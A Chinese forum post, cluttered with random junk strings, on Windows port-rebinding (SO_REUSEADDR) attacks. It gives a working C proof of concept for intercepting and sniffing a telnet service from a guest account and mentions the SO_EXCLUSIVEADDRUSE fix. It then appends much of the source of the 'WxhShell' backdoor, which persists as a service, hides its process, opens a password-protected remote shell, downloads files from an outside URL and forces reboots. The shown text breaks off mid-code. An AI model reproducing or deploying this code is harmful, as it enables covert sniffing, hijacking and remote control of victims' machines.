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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SJsRHQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G !;<#|a  
{/K_NSg+h  
  saddr.sin_family = AF_INET; ~[3B<^e  
/p7-D;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `uLH3sr  
Yxd&hr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6R';[um?q  
d'*:2;)g^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a_amO<!   
p}9bZKyf  
  这意味着什么?意味着可以进行如下的攻击: A i5|N  
jyFXAs2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /qObXI  
1jkMje  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0PT\/imgN  
az;o7[rI^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tp?< e  
;nZN}&m   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q8[I` V{  
8"KaW2/%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hkoCbR0}8  
Z hYOz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yVl?gGgh  
;.|).y1/`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Gk2R:\/Y  
e{fm7Cc)D  
  #include \A=:6R%Qb  
  #include }RN&w ]<  
  #include # 25%17  
  #include    $G .ws  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9Netnzv%  
  int main() 2}8xY:|@(U  
  { .7v .DR>  
  WORD wVersionRequested; PA<<{\dp  
  DWORD ret; F2Nb]f  
  WSADATA wsaData; _7Rp.)[&  
  BOOL val; t182&gpd`  
  SOCKADDR_IN saddr; (OT&:WwW  
  SOCKADDR_IN scaddr; 1GI/gc\  
  int err; U6 $)e.FO  
  SOCKET s; <{k r5<  
  SOCKET sc; 0VBbSn}Z<  
  int caddsize; +ht{ARX2(  
  HANDLE mt; P8=!/L2?  
  DWORD tid;   |A%Jx__  
  wVersionRequested = MAKEWORD( 2, 2 ); A0`#n|(Ad!  
  err = WSAStartup( wVersionRequested, &wsaData ); ouf91<n  
  if ( err != 0 ) { /`vn/X^?^  
  printf("error!WSAStartup failed!\n"); )%D>U  
  return -1; - }2AXP2q  
  } TX7]$Wj  
  saddr.sin_family = AF_INET; +=&A1{kR3  
   Kb5 YA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N]iu o.  
RJO40&Z<Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]v,>!~8r  
  saddr.sin_port = htons(23); dyN Kok#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) csNB  \  
  { sfw lv^  
  printf("error!socket failed!\n"); 8dY Pn+`  
  return -1; rj> _L  
  } Vp~c$y+  
  val = TRUE; h(1o!$EU2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WjVj@oC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4A@77#:J5  
  { H(WRm1i"G  
  printf("error!setsockopt failed!\n"); .,$<waGD  
  return -1; i6y$P6s  
  } k}h\RCy%f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 32KL~32Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r}]%(D](v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N +M^e`H  
z6+D=<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *sbZ{{]e  
  { p ! _\a  
  ret=GetLastError(); cN(Toj'`  
  printf("error!bind failed!\n"); d?Y|w3lB  
  return -1; nnol)|C{5Y  
  } C~:@ETcbil  
  listen(s,2); gvLzE&V}  
  while(1) O<EFm}Ae  
  { +dgHl_,i  
  caddsize = sizeof(scaddr); -fILXu  
  //接受连接请求 CW)JS3}W"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +91j 1?  
  if(sc!=INVALID_SOCKET) U:1cbD7|3  
  { znxP.=GB   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yy*8Aw}  
  if(mt==NULL) 9z0G0QW[  
  { 8uZM%7kI6+  
  printf("Thread Creat Failed!\n"); h]{V/  
  break; &ap&dM0@%a  
  } k(bDj[0q^  
  } X{YY)}^  
  CloseHandle(mt); _9<nM48+t  
  } 5zf bI  
  closesocket(s); K\3N_ztu  
  WSACleanup(); 6";ew:Ih^  
  return 0; g,61'5\  
  }   jr`;H  
  DWORD WINAPI ClientThread(LPVOID lpParam) Pn|;VCh  
  { NQpC]#n  
  SOCKET ss = (SOCKET)lpParam; )A1u uW (  
  SOCKET sc; Am @o}EC  
  unsigned char buf[4096]; ^_rBEyz@  
  SOCKADDR_IN saddr; `k]2*$%  
  long num; mN&B|KWU  
  DWORD val; |@*3 nb8  
  DWORD ret; B}U:c]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZCC T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hq|I%>y  
  saddr.sin_family = AF_INET; {IgL H`@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +~[>Usf  
  saddr.sin_port = htons(23); 9(AY7]6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JLn)U4>z w  
  { ^1mnw@04  
  printf("error!socket failed!\n"); T?+%3z}8  
  return -1; D<wz%*  
  } V<&^zIJUR  
  val = 100; RoLN#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9 7Ua,  
  { ][TA7pDPV  
  ret = GetLastError(); &rbkw<=j  
  return -1; \'9(zbvz9  
  } vi; yT.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D_)N!,i  
  { rf=oH }  
  ret = GetLastError(); N eC]MW  
  return -1; 57jDsQAj  
  } %)#yMMhR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >z|bQW#2  
  { 5I>a|I!j  
  printf("error!socket connect failed!\n"); s^R$u"pFs  
  closesocket(sc); LF X[v   
  closesocket(ss); f!K{f[aDa  
  return -1; n3" @E<rW  
  } ym;I(TC+  
  while(1) l0K_29^  
  { #\ l#f8(l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pJo#7rxd6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VoC|z Rd_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 | <bZ*7G  
  num = recv(ss,buf,4096,0); ZU68\cL  
  if(num>0) Q79WGW  
  send(sc,buf,num,0); 8JojKH  
  else if(num==0) +|6E~#zklY  
  break; CsX@u#  
  num = recv(sc,buf,4096,0); ^OrO&w|  
  if(num>0) l[Ko>  
  send(ss,buf,num,0); 49tJ+J-N  
  else if(num==0) AvZO R  
  break; E4N"|u|   
  } 5h [<!f=  
  closesocket(ss); R q .2  
  closesocket(sc); f64}#E|w  
  return 0 ; 4Dw| I${O  
  } k[a5D/b  
sp7#e%R\  
b>@fHmpwD  
========================================================== #:E^($v  
x }.&?m  
下边附上一个代码,,WXhSHELL =6d'/D#J  
/}Ct2w&<k  
========================================================== Q;k D Jo  
!N74y%=M  
#include "stdafx.h" f3SAK!V+s  
Sd *7jW?  
#include <stdio.h> *(o^w'5  
#include <string.h> ^%t{:\  
#include <windows.h> BmFtRbR  
#include <winsock2.h> {`+:!X   
#include <winsvc.h> nn8uFISb  
#include <urlmon.h> gg&Dej2{  
IN=l|Q$8f  
#pragma comment (lib, "Ws2_32.lib") + %H2;8{F  
#pragma comment (lib, "urlmon.lib") Eyh(257  
V;(Rg=5  
#define MAX_USER   100 // 最大客户端连接数 I#- T/1N  
#define BUF_SOCK   200 // sock buffer 6Tg'9|g  
#define KEY_BUFF   255 // 输入 buffer 0Ci:w|J  
*fp4u_:`  
#define REBOOT     0   // 重启 GiKmB-HO  
#define SHUTDOWN   1   // 关机 K_}81|=  
kPYQcOK8  
#define DEF_PORT   5000 // 监听端口 ]D@y""{--s  
J@RV^2  
#define REG_LEN     16   // 注册表键长度 k8w:8*y'.  
#define SVC_LEN     80   // NT服务名长度 1i 7p'  
IF kU8EK&B  
// 从dll定义API keS%w]87  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A&`7 l5~X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '<aFd)-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lTZcbaO?]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bj=YFV+  
%iD'2e:  
// wxhshell配置信息 zJTSg  
struct WSCFG { }qN   
  int ws_port;         // 监听端口 vqRW^>~-B  
  char ws_passstr[REG_LEN]; // 口令 e$4l[&kH_  
  int ws_autoins;       // 安装标记, 1=yes 0=no NBO&VYs|  
  char ws_regname[REG_LEN]; // 注册表键名 ee*E:Ltz\  
  char ws_svcname[REG_LEN]; // 服务名 V&>mD"~MP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 , R $ZZ4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '_%`0p1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =%0r_#F%=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X`0`A2 n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rlSflcK\\(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |c:xK{Ik  
~c|{PZ9U  
}; N=;VS-  
|\/V1  
// default Wxhshell configuration w6 .J&O  
struct WSCFG wscfg={DEF_PORT, |r/4 ({n  
    "xuhuanlingzhe", \q:PU6q  
    1, cp 5  
    "Wxhshell", Am)XbN')1  
    "Wxhshell", bEl)/z*gy/  
            "WxhShell Service", $qk(yzY  
    "Wrsky Windows CmdShell Service", CDGN}Q2_  
    "Please Input Your Password: ", ?OdJ t  
  1, 8EAkM*D w  
  "http://www.wrsky.com/wxhshell.exe", ?Q/9aqHe;  
  "Wxhshell.exe" Q*caX   
    }; Jtl[9qe#]  
v DVE#Nm_  
// 消息定义模块 (Q6}N'T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LE@`TPg$R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <'<{|$Pw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y0cB@pWp  
char *msg_ws_ext="\n\rExit."; av}pT)]\  
char *msg_ws_end="\n\rQuit."; ]y<<zQ_fhY  
char *msg_ws_boot="\n\rReboot..."; Cs8e("w  
char *msg_ws_poff="\n\rShutdown..."; Hbi2amfBu  
char *msg_ws_down="\n\rSave to "; Uv(Uj3D  
,XmyC7y<  
char *msg_ws_err="\n\rErr!"; S`&YY89{&  
char *msg_ws_ok="\n\rOK!"; hFr?84sAd  
M;F&Ix  
char ExeFile[MAX_PATH]; 2z[A&s_  
int nUser = 0; ?o.Q  
HANDLE handles[MAX_USER]; .RxAYf|  
int OsIsNt; [9xUMX^}  
EFS2 zU  
SERVICE_STATUS       serviceStatus; ^FN(wvqb8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \F8*HPM=*  
#ZPy&GIr  
// 函数声明 ee{8C~  
int Install(void); MYF6tZ*  
int Uninstall(void); nh+f,HtSt  
int DownloadFile(char *sURL, SOCKET wsh); |\S p IFH1  
int Boot(int flag); b+ J)  
void HideProc(void); Vq1v e;(8s  
int GetOsVer(void); ]BBL=$*  
int Wxhshell(SOCKET wsl); \ D,c*I|p7  
void TalkWithClient(void *cs);  d`&F  
int CmdShell(SOCKET sock); m@^!?/as  
int StartFromService(void); VJ$UpqVm  
int StartWxhshell(LPSTR lpCmdLine); Ee-yP[2 *  
PK|"+I0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ae 3:"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -A17tC20J1  
\t 04-  
// 数据结构和表定义 H}B%OFI\+  
SERVICE_TABLE_ENTRY DispatchTable[] = Ye) F{WqZ#  
{ B&RgUIrFoY  
{wscfg.ws_svcname, NTServiceMain}, "=9kX`(1y  
{NULL, NULL} tN:PWj5  
}; FZ^j|2.L*  
T?'Vb  
// 自我安装 o$-!E(p  
int Install(void) XB'PEvh8  
{ sZ9VXnz24  
  char svExeFile[MAX_PATH]; )I`Ma6bX  
  HKEY key; 01" b9`jU  
  strcpy(svExeFile,ExeFile); x-HN]quhe  
x)Ls(Xh+g  
// 如果是win9x系统,修改注册表设为自启动 MUfhk)"  
if(!OsIsNt) { @>sZ'M2mq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o7;#B)jWS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jsOid5bs  
  RegCloseKey(key); =vZF/r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jjrhl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sHQ82uX  
  RegCloseKey(key); %\2w 1  
  return 0; 26Jb{o9Z<  
    } I@<\DltPi  
  } Z&E!m   
} .#[==  
else { bI"_hvcFp  
\tx4bV#  
// 如果是NT以上系统,安装为系统服务 v8!Ts"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QBI;aG<+b>  
if (schSCManager!=0) ,aBo p#  
{ BHa'`lCb  
  SC_HANDLE schService = CreateService -%eBip,'yl  
  (  rr=e  
  schSCManager, pZg}7F{$  
  wscfg.ws_svcname, nD51,1>  
  wscfg.ws_svcdisp, UfWn\*J&k  
  SERVICE_ALL_ACCESS, O>H'o k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yMoV|U6  
  SERVICE_AUTO_START, P 4|p[V8  
  SERVICE_ERROR_NORMAL, wjeuZNYf  
  svExeFile, OW|5IEC  
  NULL, 3EN(Pz L  
  NULL, chF@',9t  
  NULL, IDIok~B=e  
  NULL, M'D l_dx-  
  NULL "bC1dl<  
  ); k6?;D_dm  
  if (schService!=0) [R~`6  
  { M#7w54~b?M  
  CloseServiceHandle(schService); m<X[s  
  CloseServiceHandle(schSCManager); $|V@3`0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?\.aq p1B  
  strcat(svExeFile,wscfg.ws_svcname); /:OSql5K*<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z.D O 2=+=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U$,W/G}m  
  RegCloseKey(key); Lm{qFu  
  return 0; $)O=3dNbo  
    } iir]M`A.-  
  } <_N<L\  
  CloseServiceHandle(schSCManager); ,'f^K!iA   
} 5v`[c+@F  
} t.`&Q|a  
Gjh8>(  
return 1; <X b B;  
} _vV3A3|Ec,  
v{[:7]b_=  
// 自我卸载 ^f%hhpV@  
int Uninstall(void) Sb& $xWL  
{ y9xvGr[l  
  HKEY key; >3Mzs AH\  
y`|86` Y  
if(!OsIsNt) { ,&5\`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ey#7L M)  
  RegDeleteValue(key,wscfg.ws_regname); !\ 6<kQg#  
  RegCloseKey(key); 4{rqGC /  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !F|#TETrt  
  RegDeleteValue(key,wscfg.ws_regname); $%P?2g"j,  
  RegCloseKey(key); W:gpcR]>  
  return 0; fZ5zsm'N  
  } nde_%d$  
} W Y]   
} +\_c*'K>  
else { $,)PO Z  
IGQcQ/M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y*Ra!]62  
if (schSCManager!=0) ls*bCe  
{ 45aUz@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \QvoL  
  if (schService!=0) wJ%;\06  
  { ,ut-Di=6  
  if(DeleteService(schService)!=0) { CVt:tV  
  CloseServiceHandle(schService); ^tTASK  
  CloseServiceHandle(schSCManager); Nr,Q u8  
  return 0; MOia] 5  
  } rijavZS6  
  CloseServiceHandle(schService); !K[UJQ s\  
  } qbsmB8rh  
  CloseServiceHandle(schSCManager); y<5RV>"Vg  
} $~+(si2  
} a-bj! Rs  
Pb`Uxv  
return 1;  B8~JUGD  
} X;&Iu{&=  
<c77GimD?  
// 从指定url下载文件 QB.QG!@  
int DownloadFile(char *sURL, SOCKET wsh) K!,T.qA&=  
{ rLpfybu  
  HRESULT hr; A+w'quXn  
char seps[]= "/"; }B e;YIhG  
char *token; h0O t>e"  
char *file; ZO#f)>s2  
char myURL[MAX_PATH]; E#!tXO&,  
char myFILE[MAX_PATH]; &pzf*|}  
}NJKkj?  
strcpy(myURL,sURL); 'w z6Zt  
  token=strtok(myURL,seps); YT`,f*t  
  while(token!=NULL) {Z,_/@}N  
  { .C*mDi)wZ  
    file=token; %;eD.If}  
  token=strtok(NULL,seps); ,6EhtNDu  
  } [o"<DP6w  
?:$\ t?e^  
GetCurrentDirectory(MAX_PATH,myFILE); , UsY0YC  
strcat(myFILE, "\\"); i$5<>\g  
strcat(myFILE, file); OU esL9  
  send(wsh,myFILE,strlen(myFILE),0); { MV,>T_  
send(wsh,"...",3,0); ?Qxf~,F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FMi:2.E  
  if(hr==S_OK) vvI23!H  
return 0; 2Onp{,'}  
else :o 8XG  
return 1; S54q?sb_  
IE|? &O  
} 2O 2HmL  
21$E.x 6  
// 系统电源模块 nSv@FT'~z  
int Boot(int flag) ![i)_XO  
{ $*Kr4vh  
  HANDLE hToken; Yu$QL@  
  TOKEN_PRIVILEGES tkp; `y|_hb  
Uv m:`e~?  
  if(OsIsNt) { "2~L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oo\7\b#Jx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $<QrV,T  
    tkp.PrivilegeCount = 1; d%za6=M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bFIM07  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9 {wRqY  
if(flag==REBOOT) { [=BccT:b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,gpZz$Ef(  
  return 0; rJ)j./c  
} ?g9:xgkF ^  
else { PU,%Y_xR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `/O AgV"`  
  return 0; a$j ~YUG_  
} )qRH?Hsb7  
  } "Ccyj/  
  else { 16ZyLt  
if(flag==REBOOT) { `Gj(>z*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dEZUK vo  
  return 0; lrAhdi  
} ]|-sZ<?<i  
else { '451H3LC0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b'W.l1]<-  
  return 0; Q5^ #:uZ  
} ^TtL-|I  
} 3vs{*T"  
P)l_ :;&  
return 1; f"*k>=ETI  
} =C2KHNc  
vc :%  
// win9x进程隐藏模块 o! l Ykud  
void HideProc(void) )n]" ~I^  
{ >J5C.hx  
[l3ys  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s+?2oPa  
  if ( hKernel != NULL ) gBky ZK  
  { n y cn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <iA\ZS:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %q}[ZD/HD  
    FreeLibrary(hKernel); /w1M%10   
  } E.Q]X]q  
1uO2I&B  
return; #R>x]Nt}  
} R_O=WmD  
jsQHg2Vd  
// 获取操作系统版本 _jc_(;KPF  
int GetOsVer(void) O%3Hp.|!  
{ <PVwf`W.  
  OSVERSIONINFO winfo; | UlG@Mn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o@BV&|  
  GetVersionEx(&winfo); D#AqZS>B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q~tXT_  
  return 1; m8=n`XI  
  else 0,nz*UDk  
  return 0; - V:HT j  
} ,3!$mQL=  
*E*oWb]H  
// 客户端句柄模块 'Oj 1@0*0  
int Wxhshell(SOCKET wsl) TF%Xb>jy[  
{ c"v75lW-J  
  SOCKET wsh; 6\ yBA_ z  
  struct sockaddr_in client; a}uYv:  
  DWORD myID; hLbWqF  
xorafL  
  while(nUser<MAX_USER) qm3H/cC9+  
{ 4EHrd;|   
  int nSize=sizeof(client); > 1(J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FJDE48Vi  
  if(wsh==INVALID_SOCKET) return 1; <sw@P":F  
"(3u)o9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0'Si ^>bW  
if(handles[nUser]==0) \XPGA uEo  
  closesocket(wsh); <^\rv42'(2  
else j)2I+[aoB  
  nUser++; T8|5%Y  
  } &iInru3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D8<C7  
37$ ^ie)  
  return 0; A*eVz]i,k&  
} *I)J%#  
>v%js!`f  
// 关闭 socket J09jBQ] R  
void CloseIt(SOCKET wsh) y ?&hA! x  
{ %rMCiz  
closesocket(wsh); =KUmvV*\  
nUser--; a3>/B$pE  
ExitThread(0); {G Jl<G1  
} +]s,VSL5`  
S~i9~jA  
// 客户端请求句柄 >UMxlvTg&  
void TalkWithClient(void *cs) : oXSh;\  
{ >;^/B R=  
(Kwqa"Hk4{  
  SOCKET wsh=(SOCKET)cs; %\v8 FCb  
  char pwd[SVC_LEN]; aknIrblS\  
  char cmd[KEY_BUFF]; &yvvea]  
char chr[1]; F)(^c  
int i,j; 0eNdKE  
%W"u4 NT7  
  while (nUser < MAX_USER) { u MEM7$o  
? Bpnnwx  
if(wscfg.ws_passstr) { w.-x2Zg},  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RbX9PF"|+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )"S%'myj  
  //ZeroMemory(pwd,KEY_BUFF); I@MG ?ZQ  
      i=0; _Xt/U>N  
  while(i<SVC_LEN) { 16zReI(  
V9,<>  
  // 设置超时 8i154#l+\  
  fd_set FdRead; dMH_:jb  
  struct timeval TimeOut; GLn=*Dh#  
  FD_ZERO(&FdRead); r*+~(83k  
  FD_SET(wsh,&FdRead); .`}TND~  
  TimeOut.tv_sec=8; @"@|O>KJ  
  TimeOut.tv_usec=0; +Yc^w5 !(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bGCC?}\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ==OUd6e}  
/)6T>/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &t[[4+Qt  
  pwd=chr[0]; `9co7[Z  
  if(chr[0]==0xd || chr[0]==0xa) { WM'!|lg  
  pwd=0; ~;3yjO)l?)  
  break; !?nO0Ao-$  
  } KClkPL!jP  
  i++; y#j7vO  
    } 4<i#TCGex3  
XI\Slq  
  // 如果是非法用户,关闭 socket Jh3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5rows]EJJl  
} {  c#US  
Y(g_h:lf,]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z 2N6r6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TQ]gvi |m  
+@QrGY  
while(1) { gx.\H3y  
}PBme'kP  
  ZeroMemory(cmd,KEY_BUFF); ENZym  
c!ZZMC s  
      // 自动支持客户端 telnet标准   k( :Bl  
  j=0; 6G2~'zqPc~  
  while(j<KEY_BUFF) { < D/K[mz-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >qo!#vJc a  
  cmd[j]=chr[0]; ?6CLUu|7n  
  if(chr[0]==0xa || chr[0]==0xd) { w7Yu} JY^  
  cmd[j]=0; '#7k9\  
  break; QPVi& *8_  
  } N4vcd=uG#  
  j++; EB}B75)x  
    } a;xeHbE  
SZF 8InyF  
  // 下载文件 ^2~ZOP$A  
  if(strstr(cmd,"http://")) { Kk8wlC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8"j$=T6;W  
  if(DownloadFile(cmd,wsh)) c["1t1G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Qkjr</  
  else ,`bW (V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); },8|9z#pyB  
  } NftnbsTmy  
  else { "z{/*uM2<  
Cw,a)XB  
    switch(cmd[0]) { /x??J4r0  
  I _KHQ&Z*  
  // 帮助 FBXktSg  
  case '?': { 1eD#-tzV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pTCD1)  
    break; K=N&kda   
  } dHDtY$/_  
  // 安装 3gUY13C}:p  
  case 'i': { y|| n9  
    if(Install()) 9i\RdJv.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C ~h#pAh  
    else Qn$'bK2V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \6wltTW]#  
    break; 1Vy8eI`4  
    } LO_Xr j  
  // 卸载 epsRv&LfC  
  case 'r': { =MqEbQn{C3  
    if(Uninstall()) D`p2aeI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RnkV)ed(  
    else zIF1A*UH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hoFgs9  
    break; ! V.]mI  
    } ~EBaVl ({  
  // 显示 wxhshell 所在路径 2H`r:x<Z-  
  case 'p': { (2;Aqx5i  
    char svExeFile[MAX_PATH]; PB^rniYh  
    strcpy(svExeFile,"\n\r"); w5i*pOG)Z  
      strcat(svExeFile,ExeFile); ?ES{t4"  
        send(wsh,svExeFile,strlen(svExeFile),0); >V^8<^?G  
    break; R|RGoGE6g  
    } MGF !ZZ\  
  // 重启 JPDxzp  
  case 'b': { lf( +]k30  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _/:--Z  
    if(Boot(REBOOT)) &u:U"j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); spA|[\Nl  
    else { 96\FJHt Z  
    closesocket(wsh); $*{,Z<|2  
    ExitThread(0); ;l;jTb^l  
    } "Erphn  
    break; NuO@N r  
    } DNmC   
  // 关机 oc"p5Y3,Os  
  case 'd': { .u A O.<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #X)DFAtb  
